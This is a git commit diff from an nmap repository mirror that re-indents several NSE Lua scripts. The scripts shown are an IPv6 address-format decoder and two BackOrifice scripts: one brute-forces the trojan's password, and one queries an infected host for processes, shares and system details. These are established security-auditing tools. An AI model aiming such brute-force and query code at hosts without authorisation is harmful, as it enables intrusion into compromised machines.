1
0
mirror of https://github.com/nmap/nmap.git synced 2025-12-09 14:11:29 +00:00

Final re-indent for scripts.

This commit is contained in:
dmiller
2014-02-02 15:33:39 +00:00
parent d309fecd12
commit 31a2c432e1
43 changed files with 10426 additions and 10426 deletions

View File

@@ -118,60 +118,60 @@ categories = {"default", "safe"}
hostrule = function(host)
return true
return true
end
-- Match an address (array of bytes) against a hex-encoded pattern. "XX" in the
-- pattern is a wildcard.
local function matches(addr, pattern)
local octet_patterns
local octet_patterns
octet_patterns = {}
for op in pattern:gmatch("([%xX][%xX])") do
octet_patterns[#octet_patterns + 1] = op
end
octet_patterns = {}
for op in pattern:gmatch("([%xX][%xX])") do
octet_patterns[#octet_patterns + 1] = op
end
if #addr ~= #octet_patterns then
return false
end
if #addr ~= #octet_patterns then
return false
end
for i = 1, #addr do
local a, op
for i = 1, #addr do
local a, op
a = addr[i]
op = octet_patterns[i]
if not (op == "XX" or a == tonumber(op, 16)) then
return false
end
end
a = addr[i]
op = octet_patterns[i]
if not (op == "XX" or a == tonumber(op, 16)) then
return false
end
end
return true
return true
end
local function get_manuf(mac)
local catch = function() return "Unknown" end
local try = nmap.new_try(catch)
local mac_prefixes = try(datafiles.parse_mac_prefixes())
local prefix = string.upper(string.format("%02x%02x%02x", mac[1], mac[2], mac[3]))
return mac_prefixes[prefix] or "Unknown"
local catch = function() return "Unknown" end
local try = nmap.new_try(catch)
local mac_prefixes = try(datafiles.parse_mac_prefixes())
local prefix = string.upper(string.format("%02x%02x%02x", mac[1], mac[2], mac[3]))
return mac_prefixes[prefix] or "Unknown"
end
local function format_mac(mac)
local out = stdnse.output_table()
out.address = stdnse.format_mac(string.char(table.unpack(mac)))
out.manuf = get_manuf(mac)
return out
local out = stdnse.output_table()
out.address = stdnse.format_mac(string.char(table.unpack(mac)))
out.manuf = get_manuf(mac)
return out
end
local function format_ipv4(ipv4)
local octets
local octets
octets = {}
for _, v in ipairs(ipv4) do
octets[#octets + 1] = string.format("%d", v)
end
octets = {}
for _, v in ipairs(ipv4) do
octets[#octets + 1] = string.format("%d", v)
end
return stdnse.strjoin(".", octets)
return stdnse.strjoin(".", octets)
end
local function do_ipv4(addr)
@@ -179,120 +179,120 @@ end
-- EUI-64 from MAC, RFC 4291.
local function decode_eui_64(eui_64)
if eui_64[4] == 0xff and eui_64[5] == 0xfe then
return { bit.bxor(eui_64[1], 0x02),
eui_64[2], eui_64[3], eui_64[6], eui_64[7], eui_64[8] }
end
if eui_64[4] == 0xff and eui_64[5] == 0xfe then
return { bit.bxor(eui_64[1], 0x02),
eui_64[2], eui_64[3], eui_64[6], eui_64[7], eui_64[8] }
end
end
local function do_ipv6(addr)
local label
local output
local label
local output
output = stdnse.output_table()
output = stdnse.output_table()
if matches(addr, "0000:0000:0000:0000:0000:0000:0000:0001") then
-- ::1 is localhost. Not much to report.
return nil
elseif matches(addr, "0000:0000:0000:0000:0000:0000:XXXX:XXXX") then
-- RFC 4291 2.5.5.1.
local ipv4 = { addr[13], addr[14], addr[15], addr[16] }
return {["IPv4-compatible"]= { ["IPv4 address"] = format_ipv4(ipv4) } }
elseif matches(addr, "0000:0000:0000:0000:0000:ffff:XXXX:XXXX") then
-- RFC 4291 2.5.5.2.
local ipv4 = { addr[13], addr[14], addr[15], addr[16] }
return {["IPv4-mapped"]= { ["IPv4 address"] = format_ipv4(ipv4) } }
elseif matches(addr, "2001:0000:XXXX:XXXX:XXXX:XXXX:XXXX:XXXX") then
-- Teredo, RFC 4380.
local server_ipv4 = { addr[5], addr[6], addr[7], addr[8] }
-- RFC 5991 makes the flags mostly meaningless.
local flags = addr[9] * 256 + addr[10]
local obs_port = addr[11] * 256 + addr[12]
local obs_client_ipv4 = { addr[13], addr[14], addr[15], addr[16] }
local port, client_ipv4
if matches(addr, "0000:0000:0000:0000:0000:0000:0000:0001") then
-- ::1 is localhost. Not much to report.
return nil
elseif matches(addr, "0000:0000:0000:0000:0000:0000:XXXX:XXXX") then
-- RFC 4291 2.5.5.1.
local ipv4 = { addr[13], addr[14], addr[15], addr[16] }
return {["IPv4-compatible"]= { ["IPv4 address"] = format_ipv4(ipv4) } }
elseif matches(addr, "0000:0000:0000:0000:0000:ffff:XXXX:XXXX") then
-- RFC 4291 2.5.5.2.
local ipv4 = { addr[13], addr[14], addr[15], addr[16] }
return {["IPv4-mapped"]= { ["IPv4 address"] = format_ipv4(ipv4) } }
elseif matches(addr, "2001:0000:XXXX:XXXX:XXXX:XXXX:XXXX:XXXX") then
-- Teredo, RFC 4380.
local server_ipv4 = { addr[5], addr[6], addr[7], addr[8] }
-- RFC 5991 makes the flags mostly meaningless.
local flags = addr[9] * 256 + addr[10]
local obs_port = addr[11] * 256 + addr[12]
local obs_client_ipv4 = { addr[13], addr[14], addr[15], addr[16] }
local port, client_ipv4
-- Invert obs_port.
port = bit.bxor(obs_port, 0xffff)
-- Invert obs_port.
port = bit.bxor(obs_port, 0xffff)
-- Invert obs_client_ipv4.
client_ipv4 = {}
for _, octet in ipairs(obs_client_ipv4) do
client_ipv4[#client_ipv4 + 1] = bit.bxor(octet, 0xff)
end
-- Invert obs_client_ipv4.
client_ipv4 = {}
for _, octet in ipairs(obs_client_ipv4) do
client_ipv4[#client_ipv4 + 1] = bit.bxor(octet, 0xff)
end
output["Server IPv4 address"] = format_ipv4(server_ipv4)
output["Client IPv4 address"] = format_ipv4(client_ipv4)
output["UDP port"] = tostring(port)
output["Server IPv4 address"] = format_ipv4(server_ipv4)
output["Client IPv4 address"] = format_ipv4(client_ipv4)
output["UDP port"] = tostring(port)
return {["Teredo"] = output}
elseif matches(addr, "0064:ff9b:XXXX:XXXX:00XX:XXXX:XXXX:XXXX") then
--IPv4-embedded IPv6 addresses. RFC 6052, Section 2
return {["Teredo"] = output}
elseif matches(addr, "0064:ff9b:XXXX:XXXX:00XX:XXXX:XXXX:XXXX") then
--IPv4-embedded IPv6 addresses. RFC 6052, Section 2
--skip addr[9]
if matches(addr,"0064:ff9b:0000:0000:0000:0000:XXXX:XXXX") then
local ipv4 = {addr[13], addr[14], addr[15], addr[16]}
return {["IPv4-embedded IPv6 address"]= {["IPv4 address"] = format_ipv4(ipv4)}}
elseif addr[5] ~= 0x01 then
local ipv4 = {addr[5], addr[6], addr[7], addr[8]}
return {["IPv4-embedded IPv6 address"]= {["IPv4 address"] = format_ipv4(ipv4)}}
elseif addr[6] ~= 0x22 then
local ipv4 = {addr[6], addr[7], addr[8], addr[10]}
return {["IPv4-embedded IPv6 address"]= {["IPv4 address"] = format_ipv4(ipv4)}}
elseif addr[7] ~= 0x03 then
local ipv4 = {addr[7], addr[8], addr[10], addr[11]}
return {["IPv4-embedded IPv6 address"]= {["IPv4 address"] = format_ipv4(ipv4)}}
elseif addr[8] ~= 0x44 then
local ipv4 = {addr[8], addr[10], addr[11], addr[12]}
return {["IPv4-embedded IPv6 address"]= {["IPv4 address"] = format_ipv4(ipv4)}}
elseif addr[10] == 0x00 and addr[11] == 0x00 and addr[12] == 0x00 then
local ipv4 = {addr[13], addr[14], addr[15], addr[16]}
return {["IPv4-embedded IPv6 address"]= {["IPv4 address"] = format_ipv4(ipv4)}}
end
elseif matches(addr, "0000:0000:0000:0000:ffff:0000:XXXX:XXXX") then
-- IPv4-translated IPv6 addresses. RFC 2765, Section 2.1
return {["IPv4-translated IPv6 address"]=
{["IPv4 address"] = format_ipv4( {addr[13], addr[14], addr[15], addr[16]})}}
elseif matches(addr, "XXXX:XXXX:XXXX:XX00:0000:5efe:XXXX:XXXX") then
-- ISATAP. RFC 5214, Appendix A
-- XXXX:XXXX:XXXX:XX00:0000:5EFE:a.b.c.d
return {["ISATAP Modified EUI-64 IPv6 Address"]=
{["IPv4 address"] = format_ipv4( {addr[13], addr[14], addr[15], addr[16]})}}
end
--skip addr[9]
if matches(addr,"0064:ff9b:0000:0000:0000:0000:XXXX:XXXX") then
local ipv4 = {addr[13], addr[14], addr[15], addr[16]}
return {["IPv4-embedded IPv6 address"]= {["IPv4 address"] = format_ipv4(ipv4)}}
elseif addr[5] ~= 0x01 then
local ipv4 = {addr[5], addr[6], addr[7], addr[8]}
return {["IPv4-embedded IPv6 address"]= {["IPv4 address"] = format_ipv4(ipv4)}}
elseif addr[6] ~= 0x22 then
local ipv4 = {addr[6], addr[7], addr[8], addr[10]}
return {["IPv4-embedded IPv6 address"]= {["IPv4 address"] = format_ipv4(ipv4)}}
elseif addr[7] ~= 0x03 then
local ipv4 = {addr[7], addr[8], addr[10], addr[11]}
return {["IPv4-embedded IPv6 address"]= {["IPv4 address"] = format_ipv4(ipv4)}}
elseif addr[8] ~= 0x44 then
local ipv4 = {addr[8], addr[10], addr[11], addr[12]}
return {["IPv4-embedded IPv6 address"]= {["IPv4 address"] = format_ipv4(ipv4)}}
elseif addr[10] == 0x00 and addr[11] == 0x00 and addr[12] == 0x00 then
local ipv4 = {addr[13], addr[14], addr[15], addr[16]}
return {["IPv4-embedded IPv6 address"]= {["IPv4 address"] = format_ipv4(ipv4)}}
end
elseif matches(addr, "0000:0000:0000:0000:ffff:0000:XXXX:XXXX") then
-- IPv4-translated IPv6 addresses. RFC 2765, Section 2.1
return {["IPv4-translated IPv6 address"]=
{["IPv4 address"] = format_ipv4( {addr[13], addr[14], addr[15], addr[16]})}}
elseif matches(addr, "XXXX:XXXX:XXXX:XX00:0000:5efe:XXXX:XXXX") then
-- ISATAP. RFC 5214, Appendix A
-- XXXX:XXXX:XXXX:XX00:0000:5EFE:a.b.c.d
return {["ISATAP Modified EUI-64 IPv6 Address"]=
{["IPv4 address"] = format_ipv4( {addr[13], addr[14], addr[15], addr[16]})}}
end
-- These following use common handling for the Interface ID part
-- (last 64 bits).
-- These following use common handling for the Interface ID part
-- (last 64 bits).
if matches(addr, "2002:XXXX:XXXX:XXXX:XXXX:XXXX:XXXX:XXXX") then
-- 6to4, RFC 3056.
local ipv4 = { addr[3], addr[4], addr[5], addr[6] }
local mac = decode_eui_64({ addr[9], addr[10], addr[11], addr[12],
addr[13], addr[14], addr[15], addr[16] })
if matches(addr, "2002:XXXX:XXXX:XXXX:XXXX:XXXX:XXXX:XXXX") then
-- 6to4, RFC 3056.
local ipv4 = { addr[3], addr[4], addr[5], addr[6] }
local mac = decode_eui_64({ addr[9], addr[10], addr[11], addr[12],
addr[13], addr[14], addr[15], addr[16] })
label = "6to4"
output["IPv4 address"] = format_ipv4(ipv4)
end
label = "6to4"
output["IPv4 address"] = format_ipv4(ipv4)
end
local mac = decode_eui_64({ addr[9], addr[10], addr[11], addr[12],
addr[13], addr[14], addr[15], addr[16] })
if mac then
output["MAC address"] = format_mac(mac)
if not label then
label = "IPv6 EUI-64"
end
end
local mac = decode_eui_64({ addr[9], addr[10], addr[11], addr[12],
addr[13], addr[14], addr[15], addr[16] })
if mac then
output["MAC address"] = format_mac(mac)
if not label then
label = "IPv6 EUI-64"
end
end
return {[label]= output}
return {[label]= output}
end
action = function(host)
local addr_s, addr_t
local addr_s, addr_t
addr_s = host.bin_ip
addr_t = { string.byte(addr_s, 1, #addr_s) }
addr_s = host.bin_ip
addr_t = { string.byte(addr_s, 1, #addr_s) }
if #addr_t == 4 then
return do_ipv4(addr_t)
elseif #addr_t == 16 then
return do_ipv6(addr_t)
end
if #addr_t == 4 then
return do_ipv4(addr_t)
elseif #addr_t == 16 then
return do_ipv6(addr_t)
end
end

View File

@@ -50,249 +50,249 @@ categories = {"intrusive", "brute"}
-- This portrule succeeds only when the open|filtered port is in the port range
-- which is specified by the ports script argument
portrule = function(host, port)
if not stdnse.get_script_args(SCRIPT_NAME .. ".ports") then
stdnse.print_debug(3,"Skipping '%s' %s, 'ports' argument is missing.",SCRIPT_NAME, SCRIPT_TYPE)
return false
end
if not stdnse.get_script_args(SCRIPT_NAME .. ".ports") then
stdnse.print_debug(3,"Skipping '%s' %s, 'ports' argument is missing.",SCRIPT_NAME, SCRIPT_TYPE)
return false
end
local ports = stdnse.get_script_args(SCRIPT_NAME .. ".ports")
local ports = stdnse.get_script_args(SCRIPT_NAME .. ".ports")
--print out a debug message if port 31337/udp is open
if port.number==31337 and port.protocol == "udp" and not(ports) then
stdnse.print_debug("Port 31337/udp is open. Possibility of version detection and password bruteforcing using the backorifice-brute script")
return false
end
--print out a debug message if port 31337/udp is open
if port.number==31337 and port.protocol == "udp" and not(ports) then
stdnse.print_debug("Port 31337/udp is open. Possibility of version detection and password bruteforcing using the backorifice-brute script")
return false
end
return port.protocol == "udp" and stdnse.in_port_range(port, ports:gsub(",",",") ) and
not(shortport.port_is_excluded(port.number,port.protocol))
return port.protocol == "udp" and stdnse.in_port_range(port, ports:gsub(",",",") ) and
not(shortport.port_is_excluded(port.number,port.protocol))
end
local backorifice =
{
new = function(self, host, port)
local o = {}
setmetatable(o, self)
self.__index = self
o.host = host
o.port = port
return o
end,
new = function(self, host, port)
local o = {}
setmetatable(o, self)
self.__index = self
o.host = host
o.port = port
return o
end,
--- Initializes the backorifice object
--
initialize = function(self)
--create socket
self.socket = nmap.new_socket("udp")
self.socket:set_timeout(self.host.times.timeout * 1000)
return true
end,
--- Initializes the backorifice object
--
initialize = function(self)
--create socket
self.socket = nmap.new_socket("udp")
self.socket:set_timeout(self.host.times.timeout * 1000)
return true
end,
--- Attempts to send an encrypted PING packet to BackOrifice service
--
-- @param password string containing password for encryption
-- @param initial_seed number containing initial encryption seed
-- @return status, true on success, false on failure
-- @return err string containing error message on failure
try_password = function(self, password, initial_seed)
--initialize BackOrifice PING packet: |MAGICSTRING|size|packetID|TYPE_PING|arg1|arg_separat|arg2|CRC/disregarded|
local PING_PACKET = bin.pack("A<IICACAC", "*!*QWTY?", 19, 0, 0x01, "", 0x00, "", 0x00)
local seed, status, response, encrypted_ping
--- Attempts to send an encrypted PING packet to BackOrifice service
--
-- @param password string containing password for encryption
-- @param initial_seed number containing initial encryption seed
-- @return status, true on success, false on failure
-- @return err string containing error message on failure
try_password = function(self, password, initial_seed)
--initialize BackOrifice PING packet: |MAGICSTRING|size|packetID|TYPE_PING|arg1|arg_separat|arg2|CRC/disregarded|
local PING_PACKET = bin.pack("A<IICACAC", "*!*QWTY?", 19, 0, 0x01, "", 0x00, "", 0x00)
local seed, status, response, encrypted_ping
if not(initial_seed) then
seed = self:gen_initial_seed(password)
else
seed = initial_seed
end
if not(initial_seed) then
seed = self:gen_initial_seed(password)
else
seed = initial_seed
end
encrypted_ping = self:BOcrypt(PING_PACKET,seed)
encrypted_ping = self:BOcrypt(PING_PACKET,seed)
status, response = self.socket:sendto(self.host.ip, self.port.number, encrypted_ping)
if not(status) then
return false, response
end
status, response = self.socket:receive()
status, response = self.socket:sendto(self.host.ip, self.port.number, encrypted_ping)
if not(status) then
return false, response
end
status, response = self.socket:receive()
-- The first 8 bytes of both response and sent data are
-- magicstring = "*!*QWTY?", without the quotes, and since
-- both are encrypted with the same initial seed, this is
-- how we verify we are talking to a BackOrifice service.
-- The statement is optimized so as not to decrypt unless
-- comparison of encrypted magicstrings succeds
if status and response:sub(1,8) == encrypted_ping:sub(1,8)
and self:BOcrypt(response,seed):match("!PONG!(1%.20)!.*!") then
local BOversion, BOhostname = self:BOcrypt(response,seed):match("!PONG!(1%.20)!(.*)!")
self:insert_version_info(BOversion,BOhostname,nil,password)
return true
else
if not(status) then
return false, response
else
return false,"Response not recognized."
end
end
end,
-- The first 8 bytes of both response and sent data are
-- magicstring = "*!*QWTY?", without the quotes, and since
-- both are encrypted with the same initial seed, this is
-- how we verify we are talking to a BackOrifice service.
-- The statement is optimized so as not to decrypt unless
-- comparison of encrypted magicstrings succeds
if status and response:sub(1,8) == encrypted_ping:sub(1,8)
and self:BOcrypt(response,seed):match("!PONG!(1%.20)!.*!") then
local BOversion, BOhostname = self:BOcrypt(response,seed):match("!PONG!(1%.20)!(.*)!")
self:insert_version_info(BOversion,BOhostname,nil,password)
return true
else
if not(status) then
return false, response
else
return false,"Response not recognized."
end
end
end,
--- Close the socket
--
-- @return status true on success, false on failure
close = function(self)
return self.socket:close()
end,
--- Close the socket
--
-- @return status true on success, false on failure
close = function(self)
return self.socket:close()
end,
--- Generates the initial encryption seed from a password
--
-- @param password string containing password
-- @return seed number containing initial seed
gen_initial_seed = function(self, password)
if password == nil then
return 31337
else
local y = #password
local z = 0
--- Generates the initial encryption seed from a password
--
-- @param password string containing password
-- @return seed number containing initial seed
gen_initial_seed = function(self, password)
if password == nil then
return 31337
else
local y = #password
local z = 0
for x = 1,y do
local pchar = string.byte(password,x)
z = z + pchar
end
for x = 1,y do
local pchar = string.byte(password,x)
z = z + pchar
end
for x=1,y do
local pchar = string.byte(password,x)
if (x-1)%2 == 1 then
z = z - (pchar * (y-(x-1)+1))
else
z = z + (pchar * (y-(x-1)+1))
end
z = z % 0x7fffffff
end
z = (z*y) % 0x7fffffff
return z
end
end,
for x=1,y do
local pchar = string.byte(password,x)
if (x-1)%2 == 1 then
z = z - (pchar * (y-(x-1)+1))
else
z = z + (pchar * (y-(x-1)+1))
end
z = z % 0x7fffffff
end
z = (z*y) % 0x7fffffff
return z
end
end,
--- Generates next encryption seed from given seed
--
-- @param seed number containing current seed
-- @return seed number containing next seed
gen_next_seed = function(self, seed)
seed = seed*214013 + 2531011
seed = bit.band(seed,0xffffff)
return seed
end,
--- Generates next encryption seed from given seed
--
-- @param seed number containing current seed
-- @return seed number containing next seed
gen_next_seed = function(self, seed)
seed = seed*214013 + 2531011
seed = bit.band(seed,0xffffff)
return seed
end,
--- Encrypts/decrypts data using BackOrifice algorithm
--
-- @param data binary string containing data to be encrypted/decrypted
-- @param initial_seed number containing initial encryption seed
-- @return data binary string containing encrypted/decrypted data
BOcrypt = function(self, data, initial_seed )
if data==nil then return end
--- Encrypts/decrypts data using BackOrifice algorithm
--
-- @param data binary string containing data to be encrypted/decrypted
-- @param initial_seed number containing initial encryption seed
-- @return data binary string containing encrypted/decrypted data
BOcrypt = function(self, data, initial_seed )
if data==nil then return end
local output =""
local seed = initial_seed
local data_byte
local crypto_byte
local output =""
local seed = initial_seed
local data_byte
local crypto_byte
for i = 1, #data do
data_byte = string.byte(data,i)
for i = 1, #data do
data_byte = string.byte(data,i)
--calculate next seed
seed = self:gen_next_seed(seed)
--calculate encryption key based on seed
local key = bit.band(bit.arshift(seed,16), 0xff)
--calculate next seed
seed = self:gen_next_seed(seed)
--calculate encryption key based on seed
local key = bit.band(bit.arshift(seed,16), 0xff)
crypto_byte = bit.bxor(data_byte,key)
output = bin.pack("AC",output,crypto_byte)
--ARGSIZE limitation from BackOrifice server
if i == 256 then break end
end
return output
end,
crypto_byte = bit.bxor(data_byte,key)
output = bin.pack("AC",output,crypto_byte)
--ARGSIZE limitation from BackOrifice server
if i == 256 then break end
end
return output
end,
insert_version_info = function(self,BOversion,BOhostname,initial_seed,password)
if not self.port.version then self.port.version={} end
if not self.port.version.name then
self.port.version.name ="BackOrifice"
self.port.version.name_confidence = 10
end
if not self.port.version.product then self.port.version.product ="BackOrifice trojan" end
if not self.port.version.version then self.port.version.version = BOversion end
if not self.port.version.extrainfo then
if not password then
if not initial_seed then
self.port.version.extrainfo = "no password"
else
self.port.version.extrainfo = "initial encryption seed="..initial_seed
end
else
self.port.version.extrainfo = "password="..password
end
end
self.port.version.hostname = BOhostname
if not self.port.version.ostype then self.port.version.ostype = "Windows" end
nmap.set_port_version(self.host, self.port)
nmap.set_port_state(self.host,self.port,"open")
end
insert_version_info = function(self,BOversion,BOhostname,initial_seed,password)
if not self.port.version then self.port.version={} end
if not self.port.version.name then
self.port.version.name ="BackOrifice"
self.port.version.name_confidence = 10
end
if not self.port.version.product then self.port.version.product ="BackOrifice trojan" end
if not self.port.version.version then self.port.version.version = BOversion end
if not self.port.version.extrainfo then
if not password then
if not initial_seed then
self.port.version.extrainfo = "no password"
else
self.port.version.extrainfo = "initial encryption seed="..initial_seed
end
else
self.port.version.extrainfo = "password="..password
end
end
self.port.version.hostname = BOhostname
if not self.port.version.ostype then self.port.version.ostype = "Windows" end
nmap.set_port_version(self.host, self.port)
nmap.set_port_state(self.host,self.port,"open")
end
}
local Driver =
{
new = function(self, host, port)
local o = {}
setmetatable(o, self)
self.__index = self
o.host = host
o.port = port
return o
end,
new = function(self, host, port)
local o = {}
setmetatable(o, self)
self.__index = self
o.host = host
o.port = port
return o
end,
connect=function(self)
--only initialize since BackOrifice service knows no connect()
self.bo = backorifice:new(self.host,self.port)
self.bo:initialize()
return true
end,
connect=function(self)
--only initialize since BackOrifice service knows no connect()
self.bo = backorifice:new(self.host,self.port)
self.bo:initialize()
return true
end,
disconnect = function( self )
self.bo:close()
end,
disconnect = function( self )
self.bo:close()
end,
--- Attempts to send encrypted PING packet to BackOrifice service
--
-- @param username string containing username which is disregarded
-- @param password string containing login password
-- @return brute.Error object on failure
-- brute.Account object on success
login = function( self, username, password )
local status, msg = self.bo:try_password(password,nil)
if status then
if not(nmap.registry['credentials']) then
nmap.registry['credentials']={}
end
if ( not( nmap.registry.credentials['backorifice'] ) ) then
nmap.registry.credentials['backorifice'] = {}
end
table.insert( nmap.registry.credentials.backorifice, { password = password } )
return true, brute.Account:new("", password, creds.State.VALID)
else
-- The only indication that the password is incorrect is a timeout
local err = brute.Error:new( "Incorrect password" )
err:setRetry(false)
return false, err
end
end,
--- Attempts to send encrypted PING packet to BackOrifice service
--
-- @param username string containing username which is disregarded
-- @param password string containing login password
-- @return brute.Error object on failure
-- brute.Account object on success
login = function( self, username, password )
local status, msg = self.bo:try_password(password,nil)
if status then
if not(nmap.registry['credentials']) then
nmap.registry['credentials']={}
end
if ( not( nmap.registry.credentials['backorifice'] ) ) then
nmap.registry.credentials['backorifice'] = {}
end
table.insert( nmap.registry.credentials.backorifice, { password = password } )
return true, brute.Account:new("", password, creds.State.VALID)
else
-- The only indication that the password is incorrect is a timeout
local err = brute.Error:new( "Incorrect password" )
err:setRetry(false)
return false, err
end
end,
}
action = function( host, port )
local status, result
local engine = brute.Engine:new(Driver,host,port)
local status, result
local engine = brute.Engine:new(Driver,host,port)
engine.options.firstonly = true
engine.options.passonly = true
engine.options.script_name = SCRIPT_NAME
engine.options.firstonly = true
engine.options.passonly = true
engine.options.script_name = SCRIPT_NAME
status, result = engine:start()
status, result = engine:start()
return result
return result
end

View File

@@ -85,240 +85,240 @@ local g_packet = 0
--"constants"
local MAGICSTRING ="*!*QWTY?"
local TYPE = {
ERROR = 0x00,
PARTIAL_PACKET = 0x80,
CONTINUED_PACKET = 0x40,
PING = 0x01,
SYSINFO = 0x06,
PROCESSLIST = 0x20,
NETVIEW = 0x39,
NETEXPORTLIST = 0x12,
REDIRLIST = 0x0D,
APPLIST = 0x3F,
PLUGINLIST = 0x2F
ERROR = 0x00,
PARTIAL_PACKET = 0x80,
CONTINUED_PACKET = 0x40,
PING = 0x01,
SYSINFO = 0x06,
PROCESSLIST = 0x20,
NETVIEW = 0x39,
NETEXPORTLIST = 0x12,
REDIRLIST = 0x0D,
APPLIST = 0x3F,
PLUGINLIST = 0x2F
}
--table of commands which have output
local cmds = {
{cmd_name="PING REPLY",p_code=TYPE.PING,arg1="",arg2="",
filter = function(data)
data = string.gsub(data," ","")
return data
end},
{cmd_name="SYSTEM INFO",p_code=TYPE.SYSINFO,arg1="",arg2="",
filter = function(data)
if string.match(data,"End of system info") then return nil end
return data
end},
{cmd_name="PROCESS LIST",p_code=TYPE.PROCESSLIST,arg1="",arg2="",
filter = function(data)
if string.match(data,"End of processes") then return nil end
data = string.gsub(data,"pid","PID")
return data
end},
{cmd_name="NETWORK RESOURCES - NET VIEW",p_code=TYPE.NETVIEW,arg1="",arg2="",
filter = function(data)
if string.match(data,"Network resources:") then return nil end
if string.match(data,"End of resource list") then return nil end
return data
end},
{cmd_name="SHARELIST",p_code=TYPE.NETEXPORTLIST,arg1="",arg2="",
filter = function(data)
if string.match(data,"Shares as returned by system:") then return nil end
if string.match(data,"End of shares") then return nil end
return data
end},
{cmd_name="REDIRECTED PORTS",p_code=TYPE.REDIRLIST,arg1="",arg2="",
filter = function(data)
if string.match(data,"Redirected ports:%s") then return nil end
return data
end},
{cmd_name="LISTENING CONSOLE APPLICATIONS",p_code=TYPE.APPLIST,arg1="",arg2="",
filter = function(data)
if string.match(data,"Active apps:") then return nil end
return data
end},
-- I !think! plugin list MUST be last because it causes problems server-side
{cmd_name="PLUGIN LIST",p_code=TYPE.PLUGINLIST,arg1="",arg2="",
filter = function(data)
if string.match(data,"Plugins:") then return nil end
return data
end}
{cmd_name="PING REPLY",p_code=TYPE.PING,arg1="",arg2="",
filter = function(data)
data = string.gsub(data," ","")
return data
end},
{cmd_name="SYSTEM INFO",p_code=TYPE.SYSINFO,arg1="",arg2="",
filter = function(data)
if string.match(data,"End of system info") then return nil end
return data
end},
{cmd_name="PROCESS LIST",p_code=TYPE.PROCESSLIST,arg1="",arg2="",
filter = function(data)
if string.match(data,"End of processes") then return nil end
data = string.gsub(data,"pid","PID")
return data
end},
{cmd_name="NETWORK RESOURCES - NET VIEW",p_code=TYPE.NETVIEW,arg1="",arg2="",
filter = function(data)
if string.match(data,"Network resources:") then return nil end
if string.match(data,"End of resource list") then return nil end
return data
end},
{cmd_name="SHARELIST",p_code=TYPE.NETEXPORTLIST,arg1="",arg2="",
filter = function(data)
if string.match(data,"Shares as returned by system:") then return nil end
if string.match(data,"End of shares") then return nil end
return data
end},
{cmd_name="REDIRECTED PORTS",p_code=TYPE.REDIRLIST,arg1="",arg2="",
filter = function(data)
if string.match(data,"Redirected ports:%s") then return nil end
return data
end},
{cmd_name="LISTENING CONSOLE APPLICATIONS",p_code=TYPE.APPLIST,arg1="",arg2="",
filter = function(data)
if string.match(data,"Active apps:") then return nil end
return data
end},
-- I !think! plugin list MUST be last because it causes problems server-side
{cmd_name="PLUGIN LIST",p_code=TYPE.PLUGINLIST,arg1="",arg2="",
filter = function(data)
if string.match(data,"Plugins:") then return nil end
return data
end}
}
local function gen_next_seed(seed)
seed = seed*214013 + 2531011
seed = bit.band(seed,0xffffff)
return seed
seed = seed*214013 + 2531011
seed = bit.band(seed,0xffffff)
return seed
end
local function gen_initial_seed(password)
if password == nil then
return 31337
else
local y = #password
local z = 0
if password == nil then
return 31337
else
local y = #password
local z = 0
for x = 1,y do
local pchar = string.byte(password,x)
z = z + pchar
end
for x = 1,y do
local pchar = string.byte(password,x)
z = z + pchar
end
for x=1,y do
local pchar = string.byte(password,x)
if (x-1)%2 == 1 then
z = z - (pchar * (y-(x-1)+1))
else
z = z + (pchar * (y-(x-1)+1))
end
z = z % 0x7fffffff
end
z = (z*y) % 0x7fffffff
return z
end
for x=1,y do
local pchar = string.byte(password,x)
if (x-1)%2 == 1 then
z = z - (pchar * (y-(x-1)+1))
else
z = z + (pchar * (y-(x-1)+1))
end
z = z % 0x7fffffff
end
z = (z*y) % 0x7fffffff
return z
end
end
--BOcrypt returns encrypted/decrypted data
local function BOcrypt(data, password, initial_seed )
local output =""
if data==nil then return end
local output =""
if data==nil then return end
local seed
if(initial_seed == nil) then
--calculate initial seed
seed = gen_initial_seed(password)
else
--in case initial seed is set by backorifice brute
seed = initial_seed
end
local seed
if(initial_seed == nil) then
--calculate initial seed
seed = gen_initial_seed(password)
else
--in case initial seed is set by backorifice brute
seed = initial_seed
end
local data_byte
local crypto_byte
local data_byte
local crypto_byte
for i = 1, #data do
data_byte = string.byte(data,i)
for i = 1, #data do
data_byte = string.byte(data,i)
--calculate next seed
seed = gen_next_seed(seed)
--calculate encryption key based on seed
local key = bit.band(bit.arshift(seed,16), 0xff)
--calculate next seed
seed = gen_next_seed(seed)
--calculate encryption key based on seed
local key = bit.band(bit.arshift(seed,16), 0xff)
crypto_byte = bit.bxor(data_byte,key)
output = bin.pack("AC",output,crypto_byte)
if i == 256 then break end --ARGSIZE limitation
end
return output
crypto_byte = bit.bxor(data_byte,key)
output = bin.pack("AC",output,crypto_byte)
if i == 256 then break end --ARGSIZE limitation
end
return output
end
local function BOpack(type_packet, str1, str2)
-- create BO packet
local data = ""
local size = #MAGICSTRING + 4*2 + 3 + #str1 + #str2
data = bin.pack("A<IICACAC",MAGICSTRING,size,g_packet,type_packet,str1,0x00,str2,0x00)
g_packet = g_packet + 1
return data
-- create BO packet
local data = ""
local size = #MAGICSTRING + 4*2 + 3 + #str1 + #str2
data = bin.pack("A<IICACAC",MAGICSTRING,size,g_packet,type_packet,str1,0x00,str2,0x00)
g_packet = g_packet + 1
return data
end
local function BOunpack(packet)
local pos, magic = bin.unpack("A8",packet)
local pos, magic = bin.unpack("A8",packet)
if magic ~= MAGICSTRING then return nil,TYPE.ERROR end --received non-BO packet
if magic ~= MAGICSTRING then return nil,TYPE.ERROR end --received non-BO packet
local packetsize, packetid, type_packet, data
pos, packetsize, packetid, type_packet = bin.unpack("<IIC",packet,pos)
pos, data = bin.unpack("A"..(packetsize-pos-1),packet,pos)
local packetsize, packetid, type_packet, data
pos, packetsize, packetid, type_packet = bin.unpack("<IIC",packet,pos)
pos, data = bin.unpack("A"..(packetsize-pos-1),packet,pos)
return data, type_packet
return data, type_packet
end
local function insert_version_info(host,port,BOversion,BOhostname,initial_seed,password)
if(port.version==nil) then port.version={} end
if(port.version.name==nil) then
port.version.name ="BackOrifice"
port.version.name_confidence = 10
end
if(port.version.product==nil) then port.version.product ="BackOrifice trojan" end
if(port.version.version == nil) then port.version.version = BOversion end
if(port.version.extrainfo == nil) then
if password == nil then
if initial_seed == nil then
port.version.extrainfo = "no password"
else
port.version.extrainfo = "initial encryption seed="..initial_seed
end
else
port.version.extrainfo = "password="..password
end
end
port.version.hostname = BOhostname
if(port.version.ostype == nil) then port.version.ostype = "Windows" end
nmap.set_port_version(host, port)
nmap.set_port_state(host, port, "open")
if(port.version==nil) then port.version={} end
